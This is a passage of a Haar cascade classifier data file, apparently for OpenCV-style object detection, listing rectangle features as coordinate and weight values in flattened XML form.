<_> + + <_> + 1 9 18 6 -1. + <_> + 1 9 9 3 2. + <_> + 10 12 9 3 2. + <_> + + <_> + 6 6 18 3 -1. + <_> + 6 7 18 1 3. + <_> + + <_> + 7 7 9 8 -1. + <_> + 10 7 3 8 3. + <_> + + <_> + 10 12 6 12 -1. + <_> + 12 12 2 12 3. + <_> + + <_> + 3 14 18 3 -1. + <_> + 3 15 18 1 3. + <_> + + <_> + 15 17 9 7 -1. + <_> + 18 17 3 7 3. + <_> + + <_> + 1 12 10 6 -1. + <_> + 1 14 10 2 3. + <_> + + <_> + 15 17 9 7 -1. + <_> + 18 17 3 7 3. + <_> + + <_> + 10 3 3 19 -1. + <_> + 11 3 1 19 3. + <_> + + <_> + 15 17 9 7 -1. + <_> + 18 17 3 7 3. + <_> + + <_> + 6 1 11 9 -1. + <_> + 6 4 11 3 3. + <_> + + <_> + 15 17 9 7 -1. + <_> + 18 17 3 7 3. + <_> + + <_> + 6 5 11 6 -1. + <_> + 6 8 11 3 2. + <_> + + <_> + 16 7 8 5 -1. + <_> + 16 7 4 5 2. + <_> + + <_> + 2 4 20 19 -1. + <_> + 12 4 10 19 2. + <_> + + <_> + 2 1 21 6 -1. + <_> + 9 1 7 6 3. + <_> + + <_> + 6 5 12 14 -1. + <_> + 6 5 6 7 2. + <_> + 12 12 6 7 2. + <_> + + <_> + 9 0 6 9 -1. + <_> + 11 0 2 9 3. + <_> + + <_> + 2 11 8 5 -1. + <_> + 6 11 4 5 2. + <_> + + <_> + 16 7 8 5 -1. + <_> + 16 7 4 5 2. + <_> + + <_> + 0 7 8 5 -1. + <_> + 4 7 4 5 2. + <_> + + <_> + 15 17 9 7 -1. + <_> + 18 17 3 7 3. + <_> + + <_> + 8 6 8 10 -1. + <_> + 8 6 4 5 2. + <_> + 12 11 4 5 2. + <_> + + <_> + 15 15 9 9 -1. + <_> + 18 15 3 9 3. + <_> + + <_> + 0 15 9 9 -1. + <_> + 3 15 3 9 3. + <_> + + <_> + 12 10 9 7 -1. + <_> + 15 10 3 7 3. + <_> + + <_> + 3 10 9 7 -1. + <_> + 6 10 3 7 3. + <_> + + <_> + 13 15 10 8 -1. + <_> + 18 15 5 4 2. + <_> + 13 19 5 4 2. + <_> + + <_> + 0 1 6 12 -1. + <_> + 0 1 3 6 2. + <_> + 3 7 3 6 2. + <_> + + <_> + 10 0 6 12 -1. + <_> + 13 0 3 6 2. + <_> + 10 6 3 6 2. + <_> + + <_> + 7 0 10 12 -1. + <_> + 7 0 5 6 2. + <_> + 12 6 5 6 2. + <_> + + <_> + 4 1 16 8 -1. + <_> + 4 1 8 8 2. + <_> + + <_> + 0 21 19 3 -1. + <_> + 0 22 19 1 3. + <_> + + <_> + 6 9 18 4 -1. + <_> + 15 9 9 2 2. + <_> + 6 11 9 2 2. + <_> + + <_> + 3 4 9 6 -1. + <_> + 3 6 9 2 3. + <_> + + <_> + 9 1 6 15 -1. + <_> + 9 6 6 5 3. + <_> + + <_> + 5 9 6 6 -1. + <_> + 8 9 3 6 2. + <_> + + <_> + 5 1 14 9 -1. + <_> + 5 4 14 3 3. + <_> + + <_> + 3 0 8 20 -1. + <_> + 3 0 4 10 2. + <_> + 7 10 4 10 2. + <_> + + <_> + 5 0 7 9 -1. + <_> + 5 3 7 3 3. + <_> + + <_> + 6 6 12 5 -1. + <_> + 10 6 4 5 3. + <_> + + <_> + 0 1 8 14 -1. + <_> + 4 1 4 14 2. + <_> + + <_> + 2 12 22 4 -1. + <_> + 2 14 22 2 2. + <_> + + <_> + 8 17 6 6 -1. + <_> + 8 20 6 3 2. + <_> + + <_> + 18 1 6 7 -1. + <_> + 18 1 3 7 2. + <_> + + <_> + 0 0 6 6 -1. + <_> + 3 0 3 6 2. + <_> + + <_> + 4 6 17 18 -1. + <_> + 4 12 17 6 3. + <_> + + <_> + 6 0 12 6 -1. + <_> + 6 0 6 3 2. + <_> + 12 3 6 3 2. + <_> + + <_> + 4 7 18 4 -1. + <_> + 13 7 9 2 2. + <_> + 4 9 9 2 2. + <_> + + <_> + 4 12 10 6 -1. + <_> + 4 14 10 2 3. + <_> + + <_> + 7 9 10 12 -1. + <_> + 12 9 5 6 2. + <_> + 7 15 5 6 2. + <_> + + <_> + 0 1 24 3 -1. + <_> + 8 1 8 3 3. + <_> + + <_> + 13 11 6 6 -1. + <_> + 13 11 3 6 2. + <_> + + <_> + 5 11 6 6 -1. + <_> + 8 11 3 6 2. + <_> + + <_> + 3 10 19 3 -1. + <_> + 3 11 19 1 3. + <_> + + <_> + 0 2 6 9 -1. + <_> + 0 5 6 3 3. + <_> + + <_> + 14 16 10 6 -1. + <_> + 14 18 10 2 3. + <_> + + <_> + 0 16 10 6 -1. + <_> + 0 18 10 2 3. + <_> + + <_> + 14 13 9 6 -1. + <_> + 14 15 9 2 3. + <_> + + <_> + 0 16 18 3 -1. + <_> + 0 17 18 1 3. + <_> + + <_> + 6 16 18 3 -1. + <_> + 6 17 18 1 3. + <_> + + <_> + 0 18 9 6 -1. + <_> + 0 20 9 2 3. + <_> + + <_> + 14 13 9 6 -1. + <_> + 14 15 9 2 3. + <_> + + <_> + 6 2 6 9 -1. + <_> + 8 2 2 9 3. + <_> + + <_> + 15 8 4 12 -1. + <_> + 15 8 2 12 2. + <_> + + <_> + 8 13 8 8 -1. + <_> + 8 17 8 4 2. + <_> + + <_> + 4 20 18 3 -1. + <_> + 10 20 6 3 3. + <_> + + <_> + 5 8 4 12 -1. + <_> + 7 8 2 12 2. + <_> + + <_> + 7 7 12 3 -1. + <_> + 7 7 6 3 2. + <_> + + <_> + 10 6 4 9 -1. + <_> + 12 6 2 9 2. + <_> + + <_> + 5 20 18 3 -1. + <_> + 11 20 6 3 3. + <_> + + <_> + 1 20 18 3 -1. + <_> + 7 20 6 3 3. + <_> + + <_> + 18 1 6 20 -1. + <_> + 21 1 3 10 2. + <_> + 18 11 3 10 2. + <_> + + <_> + 0 1 6 20 -1. + <_> + 0 1 3 10 2. + <_> + 3 11 3 10 2. + <_> + + <_> + 13 3 4 18 -1. + <_> + 15 3 2 9 2. + <_> + 13 12 2 9 2. + <_> + + <_> + 0 2 6 12 -1. + <_> + 0 6 6 4 3. + <_> + + <_> + 12 9 12 6 -1. + <_> + 18 9 6 3 2. + <_> + 12 12 6 3 2. + <_> + + <_> + 7 3 4 18 -1. + <_> + 7 3 2 9 2. + <_> + 9 12 2 9 2. + <_> + + <_> + 14 0 6 9 -1. + <_> + 16 0 2 9 3. + <_> + + <_> + 0 9 12 6 -1. + <_> + 0 9 6 3 2. + <_> + 6 12 6 3 2. + <_> + + <_> + 14 4 8 20 -1. + <_> + 18 4 4 10 2. + <_> + 14 14 4 10 2. + <_> + + <_> + 2 4 8 20 -1. + <_> + 2 4 4 10 2. + <_> + 6 14 4 10 2. + <_> + + <_> + 14 13 9 6 -1. + <_> + 14 15 9 2 3. + <_> + + <_> + 1 13 9 6 -1. + <_> + 1 15 9 2 3. + <_> + + <_> + 3 15 18 3 -1. + <_> + 9 15 6 3 3. + <_> + + <_> + 5 13 9 6 -1. + <_> + 5 15 9 2 3. + <_> + + <_> + 5 0 18 3 -1. + <_> + 5 1 18 1 3. + <_> + + <_> + 8 2 6 7 -1. + <_> + 11 2 3 7 2. + <_> + + <_> + 9 1 9 6 -1. + <_> + 12 1 3 6 3. + <_> + + <_> + 6 1 9 6 -1. + <_> + 9 1 3 6 3. + <_> + + <_> + 5 6 14 6 -1. + <_> + 12 6 7 3 2. + <_> + 5 9 7 3 2. + <_> + + <_> + 8 2 6 13 -1. + <_> + 10 2 2 13 3. + <_> + + <_> + 6 11 12 6 -1. + <_> + 12 11 6 3 2. + <_> + 6 14 6 3 2. + <_> + + <_> + 3 1 18 15 -1. + <_> + 9 1 6 15 3. + <_> + + <_> + 13 0 6 7 -1. + <_> + 13 0 3 7 2. + <_> + + <_> + 3 3 16 6 -1. + <_> + 3 6 16 3 2. + <_> + + <_> + 12 1 3 12 -1. + <_> + 12 7 3 6 2. + <_> + + <_> + 7 7 6 9 -1. + <_> + 9 7 2 9 3. + <_> + + <_> + 13 0 4 24 -1. + <_> + 13 0 2 24 2. + <_> + + <_> + 7 0 4 24 -1. + <_> + 9 0 2 24 2. + <_> + + <_> + 11 9 5 12 -1. + <_> + 11 13 5 4 3. + <_> + + <_> + 7 15 9 6 -1. + <_> + 7 17 9 2 3. + <_> + + <_> + 5 7 18 6 -1. + <_> + 5 9 18 2 3. + <_> + + <_> + 8 9 5 12 -1. + <_> + 8 13 5 4 3. + <_> + + <_> + 4 17 17 6 -1. + <_> + 4 19 17 2 3. + <_> + + <_> + 0 3 18 14 -1. + <_> + 0 3 9 7 2. + <_> + 9 10 9 7 2. + <_> + + <_> + 0 1 24 2 -1. + <_> + 0 2 24 1 2. + <_> + + <_> + 0 15 18 3 -1. + <_> + 0 16 18 1 3. + <_> + + <_> + 9 0 6 9 -1. + <_> + 11 0 2 9 3. + <_> + + <_> + 3 3 14 12 -1. + <_> + 3 9 14 6 2. + <_> + + <_> + 12 1 3 12 -1. + <_> + 12 7 3 6 2. + <_> + + <_> + 8 0 6 9 -1. + <_> + 10 0 2 9 3. + <_> + + <_> + 10 6 6 10 -1. + <_> + 12 6 2 10 3. + <_> + + <_> + 5 0 6 9 -1. + <_> + 7 0 2 9 3. + <_> + + <_> + 2 0 21 7 -1. + <_> + 9 0 7 7 3. + <_> + + <_> + 6 11 12 5 -1. + <_> + 10 11 4 5 3. + <_> + + <_> + 8 7 9 8 -1. + <_> + 11 7 3 8 3. + <_> + + <_> + 9 6 6 18 -1. + <_> + 9 6 3 9 2. + <_> + 12 15 3 9 2. + <_> + + <_> + 15 14 8 10 -1. + <_> + 19 14 4 5 2. + <_> + 15 19 4 5 2. + <_> + + <_> + 1 14 8 10 -1. + <_> + 1 14 4 5 2. + <_> + 5 19 4 5 2. + <_> + + <_> + 11 0 8 10 -1. + <_> + 15 0 4 5 2. + <_> + 11 5 4 5 2. + <_> + + <_> + 5 0 8 10 -1. + <_> + 5 0 4 5 2. + <_> + 9 5 4 5 2. + <_> + + <_> + 6 1 12 5 -1. + <_> + 6 1 6 5 2. + <_> + + <_> + 1 12 18 2 -1. + <_> + 10 12 9 2 2. + <_> + + <_> + 2 8 20 6 -1. + <_> + 12 8 10 3 2. + <_> + 2 11 10 3 2. + <_> + + <_> + 7 6 9 7 -1. + <_> + 10 6 3 7 3. + <_> + + <_> + 10 5 8 16 -1. + <_> + 14 5 4 8 2. + <_> + 10 13 4 8 2. + <_> + + <_> + 3 9 16 8 -1. + <_> + 3 9 8 4 2. + <_> + 11 13 8 4 2. + <_> + + <_> + 7 8 10 4 -1. + <_> + 7 8 5 4 2. + <_> + + <_> + 7 12 10 8 -1. + <_> + 7 12 5 4 2. + <_> + 12 16 5 4 2. + <_> + + <_> + 9 19 15 4 -1. + <_> + 14 19 5 4 3. + <_> + + <_> + 1 0 18 9 -1. + <_> + 7 0 6 9 3. + <_> + + <_> + 13 4 10 8 -1. + <_> + 18 4 5 4 2. + <_> + 13 8 5 4 2. + <_> + + <_> + 3 16 18 4 -1. + <_> + 9 16 6 4 3. + <_> + + <_> + 8 7 10 12 -1. + <_> + 13 7 5 6 2. + <_> + 8 13 5 6 2. + <_> + + <_> + 6 7 10 12 -1. + <_> + 6 7 5 6 2. + <_> + 11 13 5 6 2. + <_> + + <_> + 4 6 18 7 -1. + <_> + 10 6 6 7 3. + <_> + + <_> + 0 17 18 3 -1. + <_> + 0 18 18 1 3. + <_> + + <_> + 3 17 18 3 -1. + <_> + 3 18 18 1 3. + <_> + + <_> + 2 4 6 10 -1. + <_> + 4 4 2 10 3. + <_> + + <_> + 16 0 8 24 -1. + <_> + 16 0 4 24 2. + <_> + + <_> + 4 0 8 15 -1. + <_> + 8 0 4 15 2. + <_> + + <_> + 16 0 8 24 -1. + <_> + 16 0 4 24 2. + <_> + + <_> + 1 4 18 9 -1. + <_> + 7 4 6 9 3. + <_> + + <_> + 15 12 9 6 -1. + <_> + 15 14 9 2 3. + <_> + + <_> + 3 9 18 6 -1. + <_> + 3 9 9 3 2. + <_> + 12 12 9 3 2. + <_> + + <_> + 18 5 6 9 -1. + <_> + 18 8 6 3 3. + <_> + + <_> + 0 5 6 9 -1. + <_> + 0 8 6 3 3. + <_> + + <_> + 4 7 18 4 -1. + <_> + 13 7 9 2 2. + <_> + 4 9 9 2 2. + <_> + + <_> + 2 1 12 20 -1. + <_> + 2 1 6 10 2. + <_> + 8 11 6 10 2. + <_> + + <_> + 17 0 6 23 -1. + <_> + 17 0 3 23 2. + <_> + + <_> + 1 6 2 18 -1. + <_> + 1 15 2 9 2. + <_> + + <_> + 8 8 10 6 -1. + <_> + 8 10 10 2 3. + <_> + + <_> + 0 6 20 6 -1. + <_> + 0 6 10 3 2. + <_> + 10 9 10 3 2. + <_> + + <_> + 11 12 12 5 -1. + <_> + 15 12 4 5 3. + <_> + + <_> + 0 4 3 19 -1. + <_> + 1 4 1 19 3. + <_> + + <_> + 19 1 3 18 -1. + <_> + 20 1 1 18 3. + <_> + + <_> + 2 1 3 18 -1. + <_> + 3 1 1 18 3. + <_> + + <_> + 3 10 18 3 -1. + <_> + 9 10 6 3 3. + <_> + + <_> + 4 4 10 9 -1. + <_> + 9 4 5 9 2. + <_> + + <_> + 7 13 14 7 -1. + <_> + 7 13 7 7 2. + <_> + + <_> + 3 13 14 7 -1. + <_> + 10 13 7 7 2. + <_> + + <_> + 8 15 9 6 -1. + <_> + 11 15 3 6 3. + <_> + + <_> + 4 14 8 10 -1. + <_> + 4 14 4 5 2. + <_> + 8 19 4 5 2. + <_> + + <_> + 10 14 4 10 -1. + <_> + 10 19 4 5 2. + <_> + + <_> + 3 8 5 16 -1. + <_> + 3 16 5 8 2. + <_> + + <_> + 15 10 9 6 -1. + <_> + 15 12 9 2 3. + <_> + + <_> + 0 10 9 6 -1. + <_> + 0 12 9 2 3. + <_> + + <_> + 6 7 12 9 -1. + <_> + 6 10 12 3 3. + <_> + + <_> + 9 10 5 8 -1. + <_> + 9 14 5 4 2. + <_> + + <_> + 12 1 3 12 -1. + <_> + 12 7 3 6 2. + <_> + + <_> + 8 15 6 9 -1. + <_> + 10 15 2 9 3. + <_> + + <_> + 16 6 7 6 -1. + <_> + 16 9 7 3 2. + <_> + + <_> + 8 1 4 22 -1. + <_> + 10 1 2 22 2. + <_> + + <_> + 6 6 14 3 -1. + <_> + 6 6 7 3 2. + <_> + + <_> + 0 18 19 3 -1. + <_> + 0 19 19 1 3. + <_> + + <_> + 17 0 6 24 -1. + <_> + 17 0 3 24 2. + <_> + + <_> + 0 13 15 6 -1. + <_> + 5 13 5 6 3. + <_> + + <_> + 9 6 10 14 -1. + <_> + 14 6 5 7 2. + <_> + 9 13 5 7 2. + <_> + + <_> + 1 6 8 10 -1. + <_> + 1 6 4 5 2. + <_> + 5 11 4 5 2. + <_> + + <_> + 7 6 12 5 -1. + <_> + 7 6 6 5 2. + <_> + + <_> + 7 7 9 6 -1. + <_> + 10 7 3 6 3. + <_> + + <_> + 7 8 14 14 -1. + <_> + 14 8 7 7 2. + <_> + 7 15 7 7 2. + <_> + + <_> + 3 8 14 14 -1. + <_> + 3 8 7 7 2. + <_> + 10 15 7 7 2. + <_> + + <_> + 9 8 13 4 -1. + <_> + 9 10 13 2 2. + <_> + + <_> + 3 2 6 12 -1. + <_> + 3 2 3 6 2. + <_> + 6 8 3 6 2. + <_> + + <_> + 6 10 17 6 -1. + <_> + 6 13 17 3 2. + <_> + + <_> + 1 10 17 6 -1. + <_> + 1 13 17 3 2. + <_> + + <_> + 16 7 8 9 -1. + <_> + 16 10 8 3 3. + <_> + + <_> + 0 7 8 9 -1. + <_> + 0 10 8 3 3. + <_> + + <_> + 0 9 24 10 -1. + <_> + 12 9 12 5 2. + <_> + 0 14 12 5 2. + <_> + + <_> + 3 2 15 8 -1. + <_> + 8 2 5 8 3. + <_> + + <_> + 4 2 18 8 -1. + <_> + 10 2 6 8 3. + <_> + + <_> + 0 1 18 4 -1. + <_> + 0 1 9 2 2. + <_> + 9 3 9 2 2. + <_> + + <_> + 20 2 3 18 -1. + <_> + 21 2 1 18 3. + <_> + + <_> + 1 3 3 19 -1. + <_> + 2 3 1 19 3. + <_> + + <_> + 18 8 6 16 -1. + <_> + 20 8 2 16 3. + <_> + + <_> + 0 8 6 16 -1. + <_> + 2 8 2 16 3. + <_> + + <_> + 8 18 11 6 -1. + <_> + 8 20 11 2 3. + <_> + + <_> + 4 6 12 5 -1. + <_> + 8 6 4 5 3. + <_> + + <_> + 7 6 12 5 -1. + <_> + 11 6 4 5 3. + <_> + + <_> + 6 3 9 6 -1. + <_> + 9 3 3 6 3. + <_> + + <_> + 7 6 12 5 -1. + <_> + 7 6 6 5 2. + <_> + + <_> + 9 8 6 7 -1. + <_> + 12 8 3 7 2. + <_> + + <_> + 8 2 9 6 -1. + <_> + 11 2 3 6 3. + <_> + + <_> + 8 14 6 9 -1. + <_> + 8 17 6 3 3. + <_> + + <_> + 8 2 9 6 -1. + <_> + 11 2 3 6 3. + <_> + + <_> + 4 3 16 20 -1. + <_> + 4 3 8 10 2. + <_> + 12 13 8 10 2. + <_> + + <_> + 7 6 10 12 -1. + <_> + 12 6 5 6 2. + <_> + 7 12 5 6 2. + <_> + + <_> + 0 2 7 12 -1. + <_> + 0 6 7 4 3. + <_> + + <_> + 12 17 11 6 -1. + <_> + 12 19 11 2 3. + <_> + + <_> + 4 7 12 8 -1. + <_> + 4 7 6 4 2. + <_> + 10 11 6 4 2. + <_> + + <_> + 8 11 8 10 -1. + <_> + 12 11 4 5 2. + <_> + 8 16 4 5 2. + <_> + + <_> + 9 1 4 9 -1. + <_> + 11 1 2 9 2. + <_> + + <_> + 14 0 3 22 -1. + <_> + 15 0 1 22 3. + <_> + + <_> + 7 0 3 22 -1. + <_> + 8 0 1 22 3. + <_> + + <_> + 4 7 18 4 -1. + <_> + 13 7 9 2 2. + <_> + 4 9 9 2 2. + <_> + + <_> + 10 2 4 15 -1. + <_> + 10 7 4 5 3. + <_> + + <_> + 12 1 3 12 -1. + <_> + 12 7 3 6 2. + <_> + + <_> + 0 0 18 13 -1. + <_> + 9 0 9 13 2. + <_> + + <_> + 16 0 3 24 -1. + <_> + 17 0 1 24 3. + <_> + + <_> + 5 0 3 24 -1. + <_> + 6 0 1 24 3. + <_> + + <_> + 10 15 5 8 -1. + <_> + 10 19 5 4 2. + <_> + + <_> + 2 18 18 2 -1. + <_> + 2 19 18 1 2. + <_> + + <_> + 2 8 20 3 -1. + <_> + 2 9 20 1 3. + <_> + + <_> + 7 6 9 6 -1. + <_> + 7 8 9 2 3. + <_> + + <_> + 3 2 19 10 -1. + <_> + 3 7 19 5 2. + <_> + + <_> + 2 7 19 3 -1. + <_> + 2 8 19 1 3. + <_> + + <_> + 15 6 9 4 -1. + <_> + 15 8 9 2 2. + <_> + + <_> + 2 2 18 8 -1. + <_> + 8 2 6 8 3. + <_> + + <_> + 10 9 14 4 -1. + <_> + 10 9 7 4 2. + <_> + + <_> + 4 4 6 16 -1. + <_> + 7 4 3 16 2. + <_> + + <_> + 15 8 9 16 -1. + <_> + 18 8 3 16 3. + <_> + + <_> + 0 8 9 16 -1. + <_> + 3 8 3 16 3. + <_> + + <_> + 18 0 6 14 -1. + <_> + 20 0 2 14 3. + <_> + + <_> + 0 0 6 14 -1. + <_> + 2 0 2 14 3. + <_> + + <_> + 15 0 6 22 -1. + <_> + 17 0 2 22 3. + <_> + + <_> + 3 0 6 22 -1. + <_> + 5 0 2 22 3. + <_> + + <_> + 12 2 12 20 -1. + <_> + 16 2 4 20 3. + <_> + + <_> + 0 2 12 20 -1. + <_> + 4 2 4 20 3. + <_> + + <_> + 11 6 4 9 -1. + <_> + 11 6 2 9 2. + <_> + + <_> + 9 0 6 16 -1. + <_> + 12 0 3 16 2. + <_> + + <_> + 12 1 3 12 -1. + <_> + 12 7 3 6 2. + <_> + + <_> + 3 4 18 6 -1. + <_> + 3 4 9 3 2. + <_> + 12 7 9 3 2. + <_> + + <_> + 5 5 16 8 -1. + <_> + 13 5 8 4 2. + <_> + 5 9 8 4 2. + <_> + + <_> + 0 13 10 6 -1. + <_> + 0 15 10 2 3. + <_> + + <_> + 8 14 9 6 -1. + <_> + 8 16 9 2 3. + <_> + + <_> + 6 2 9 6 -1. + <_> + 9 2 3 6 3. + <_> + + <_> + 14 1 10 8 -1. + <_> + 19 1 5 4 2. + <_> + 14 5 5 4 2. + <_> + + <_> + 9 1 3 12 -1. + <_> + 9 7 3 6 2. + <_> + + <_> + 6 4 12 9 -1. + <_> + 6 7 12 3 3. + <_> + + <_> + 6 5 12 6 -1. + <_> + 10 5 4 6 3. + <_> + + <_> + 1 1 8 5 -1. + <_> + 5 1 4 5 2. + <_> + + <_> + 12 12 6 8 -1. + <_> + 12 16 6 4 2. + <_> + + <_> + 3 12 12 6 -1. + <_> + 3 14 12 2 3. + <_> + + <_> + 9 18 12 6 -1. + <_> + 15 18 6 3 2. + <_> + 9 21 6 3 2. + <_> + + <_> + 4 13 6 6 -1. + <_> + 4 16 6 3 2. + <_> + + <_> + 11 3 7 18 -1. + <_> + 11 12 7 9 2. + <_> + + <_> + 3 9 18 3 -1. + <_> + 9 9 6 3 3. + <_> + + <_> + 5 3 19 2 -1. + <_> + 5 4 19 1 2. + <_> + + <_> + 4 2 12 6 -1. + <_> + 4 2 6 3 2. + <_> + 10 5 6 3 2. + <_> + + <_> + 9 6 6 9 -1. + <_> + 11 6 2 9 3. + <_> + + <_> + 8 6 6 9 -1. + <_> + 10 6 2 9 3. + <_> + + <_> + 16 9 5 15 -1. + <_> + 16 14 5 5 3. + <_> + + <_> + 3 9 5 15 -1. + <_> + 3 14 5 5 3. + <_> + + <_> + 6 6 14 6 -1. + <_> + 13 6 7 3 2. + <_> + 6 9 7 3 2. + <_> + + <_> + 8 6 3 14 -1. + <_> + 8 13 3 7 2. + <_> + + <_> + 0 16 24 5 -1. + <_> + 8 16 8 5 3. + <_> + + <_> + 0 20 20 3 -1. + <_> + 10 20 10 3 2. + <_> + + <_> + 5 10 18 2 -1. + <_> + 5 11 18 1 2. + <_> + + <_> + 0 6 6 10 -1. + <_> + 2 6 2 10 3. + <_> + + <_> + 2 1 20 3 -1. + <_> + 2 2 20 1 3. + <_> + + <_> + 9 13 6 11 -1. + <_> + 11 13 2 11 3. + <_> + + <_> + 9 15 6 8 -1. + <_> + 9 19 6 4 2. + <_> + + <_> + 9 12 6 9 -1. + <_> + 9 15 6 3 3. + <_> + + <_> + 5 11 18 2 -1. + <_> + 5 12 18 1 2. + <_> + + <_> + 2 6 15 6 -1. + <_> + 2 8 15 2 3. + <_> + + <_> + 6 0 18 3 -1. + <_> + 6 1 18 1 3. + <_> + + <_> + 5 0 3 18 -1. + <_> + 6 0 1 18 3. + <_> + + <_> + 18 3 6 10 -1. + <_> + 20 3 2 10 3. + <_> + + <_> + 0 3 6 10 -1. + <_> + 2 3 2 10 3. + <_> + + <_> + 10 5 8 9 -1. + <_> + 10 5 4 9 2. + <_> + + <_> + 6 5 8 9 -1. + <_> + 10 5 4 9 2. + <_> + + <_> + 3 2 20 3 -1. + <_> + 3 3 20 1 3. + <_> + + <_> + 5 2 13 4 -1. + <_> + 5 4 13 2 2. + <_> + + <_> + 17 0 7 14 -1. + <_> + 17 7 7 7 2. + <_> + + <_> + 0 0 7 14 -1. + <_> + 0 7 7 7 2. + <_> + + <_> + 9 11 10 6 -1. + <_> + 9 11 5 6 2. + <_> + + <_> + 5 11 10 6 -1. + <_> + 10 11 5 6 2. + <_> + + <_> + 11 6 3 18 -1. + <_> + 11 12 3 6 3. + <_> + + <_> + 0 16 18 3 -1. + <_> + 0 17 18 1 3. + <_> + + <_> + 6 16 18 3 -1. + <_> + 6 17 18 1 3. + <_> + + <_> + 4 6 9 10 -1. + <_> + 4 11 9 5 2. + <_> + + <_> + 9 7 15 4 -1. + <_> + 9 9 15 2 2. + <_> + + <_> + 5 6 12 6 -1. + <_> + 5 6 6 3 2. + <_> + 11 9 6 3 2. + <_> + + <_> + 6 1 12 9 -1. + <_> + 6 4 12 3 3. + <_> + + <_> + 7 9 6 12 -1. + <_> + 7 9 3 6 2. + <_> + 10 15 3 6 2. + <_> + + <_> + 11 5 13 6 -1. + <_> + 11 7 13 2 3. + <_> + + <_> + 1 11 22 13 -1. + <_> + 12 11 11 13 2. + <_> + + <_> + 18 8 6 6 -1. + <_> + 18 11 6 3 2. + <_> + + <_> + 0 8 6 6 -1. + <_> + 0 11 6 3 2. + <_> + + <_> + 0 6 24 3 -1. + <_> + 0 7 24 1 3. + <_> + + <_> + 0 5 10 6 -1. + <_> + 0 7 10 2 3. + <_> + + <_> + 6 7 18 3 -1. + <_> + 6 8 18 1 3. + <_> + + <_> + 0 0 10 6 -1. + <_> + 0 2 10 2 3. + <_> + + <_> + 19 0 3 19 -1. + <_> + 20 0 1 19 3. + <_> + + <_> + 4 6 12 16 -1. + <_> + 4 6 6 8 2. + <_> + 10 14 6 8 2. + <_> + + <_> + 19 6 4 18 -1. + <_> + 21 6 2 9 2. + <_> + 19 15 2 9 2. + <_> + + <_> + 1 6 4 18 -1. + <_> + 1 6 2 9 2. + <_> + 3 15 2 9 2. + <_> + + <_> + 3 21 18 3 -1. + <_> + 3 22 18 1 3. + <_> + + <_> + 0 19 9 4 -1. + <_> + 0 21 9 2 2. + <_> + + <_> + 12 18 12 6 -1. + <_> + 18 18 6 3 2. + <_> + 12 21 6 3 2. + <_> + + <_> + 7 18 9 4 -1. + <_> + 7 20 9 2 2. + <_> + + <_> + 12 16 10 8 -1. + <_> + 17 16 5 4 2. + <_> + 12 20 5 4 2. + <_> + + <_> + 2 16 10 8 -1. + <_> + 2 16 5 4 2. + <_> + 7 20 5 4 2. + <_> + + <_> + 14 0 10 12 -1. + <_> + 19 0 5 6 2. + <_> + 14 6 5 6 2. + <_> + + <_> + 0 0 10 12 -1. + <_> + 0 0 5 6 2. + <_> + 5 6 5 6 2. + <_> + + <_> + 15 14 9 6 -1. + <_> + 15 16 9 2 3. + <_> + + <_> + 0 14 9 6 -1. + <_> + 0 16 9 2 3. + <_> + + <_> + 14 14 10 6 -1. + <_> + 14 16 10 2 3. + <_> + + <_> + 0 14 10 6 -1. + <_> + 0 16 10 2 3. + <_> + + <_> + 5 18 18 2 -1. + <_> + 5 19 18 1 2. + <_> + + <_> + 0 18 18 3 -1. + <_> + 0 19 18 1 3. + <_> + + <_> + 3 5 18 12 -1. + <_> + 12 5 9 6 2. + <_> + 3 11 9 6 2. + <_> + + <_> + 5 3 7 9 -1. + <_> + 5 6 7 3 3. + <_> + + <_> + 4 0 19 15 -1. + <_> + 4 5 19 5 3. + <_> + + <_> + 3 0 16 4 -1. + <_> + 3 2 16 2 2. + <_> + + <_> + 4 12 16 12 -1. + <_> + 4 12 8 12 2. + <_> + + <_> + 4 3 12 15 -1. + <_> + 10 3 6 15 2. + <_> + + <_> + 16 4 2 19 -1. + <_> + 16 4 1 19 2. + <_> + + <_> + 6 4 2 19 -1. + <_> + 7 4 1 19 2. + <_> + + <_> + 13 14 8 10 -1. + <_> + 17 14 4 5 2. + <_> + 13 19 4 5 2. + <_> + + <_> + 3 14 8 10 -1. + <_> + 3 14 4 5 2. + <_> + 7 19 4 5 2. + <_> + + <_> + 12 6 3 18 -1. + <_> + 12 12 3 6 3. + <_> + + <_> + 5 11 12 6 -1. + <_> + 5 11 6 3 2. + <_> + 11 14 6 3 2. + <_> + + <_> + 10 5 8 10 -1. + <_> + 14 5 4 5 2. + <_> + 10 10 4 5 2. + <_> + + <_> + 6 4 12 10 -1. + <_> + 6 4 6 5 2. + <_> + 12 9 6 5 2. + <_> + + <_> + 6 8 18 10 -1. + <_> + 15 8 9 5 2. + <_> + 6 13 9 5 2. + <_> + + <_> + 0 8 18 10 -1. + <_> + 0 8 9 5 2. + <_> + 9 13 9 5 2. + <_> + + <_> + 12 6 3 18 -1. + <_> + 12 12 3 6 3. + <_> + + <_> + 0 14 18 3 -1. + <_> + 0 15 18 1 3. + <_> + + <_> + 12 6 3 18 -1. + <_> + 12 12 3 6 3. + <_> + + <_> + 9 6 3 18 -1. + <_> + 9 12 3 6 3. + <_> + + <_> + 6 14 18 3 -1. + <_> + 6 15 18 1 3. + <_> + + <_> + 0 5 18 3 -1. + <_> + 0 6 18 1 3. + <_> + + <_> + 2 5 22 3 -1. + <_> + 2 6 22 1 3. + <_> + + <_> + 0 0 21 10 -1. + <_> + 7 0 7 10 3. + <_> + + <_> + 6 3 18 17 -1. + <_> + 12 3 6 17 3. + <_> + + <_> + 0 3 18 17 -1. + <_> + 6 3 6 17 3. + <_> + + <_> + 0 12 24 11 -1. + <_> + 8 12 8 11 3. + <_> + + <_> + 4 10 16 6 -1. + <_> + 4 13 16 3 2. + <_> + + <_> + 12 8 6 8 -1. + <_> + 12 12 6 4 2. + <_> + + <_> + 6 14 8 7 -1. + <_> + 10 14 4 7 2. + <_> + + <_> + 15 10 6 14 -1. + <_> + 18 10 3 7 2. + <_> + 15 17 3 7 2. + <_> + + <_> + 3 10 6 14 -1. + <_> + 3 10 3 7 2. + <_> + 6 17 3 7 2. + <_> + + <_> + 6 12 18 2 -1. + <_> + 6 13 18 1 2. + <_> + + <_> + 5 8 10 6 -1. + <_> + 5 10 10 2 3. + <_> + + <_> + 12 11 9 4 -1. + <_> + 12 13 9 2 2. + <_> + + <_> + 0 11 9 6 -1. + <_> + 0 13 9 2 3. + <_> + + <_> + 11 2 3 18 -1. + <_> + 12 2 1 18 3. + <_> + + <_> + 10 2 3 18 -1. + <_> + 11 2 1 18 3. + <_> + + <_> + 9 12 6 10 -1. + <_> + 11 12 2 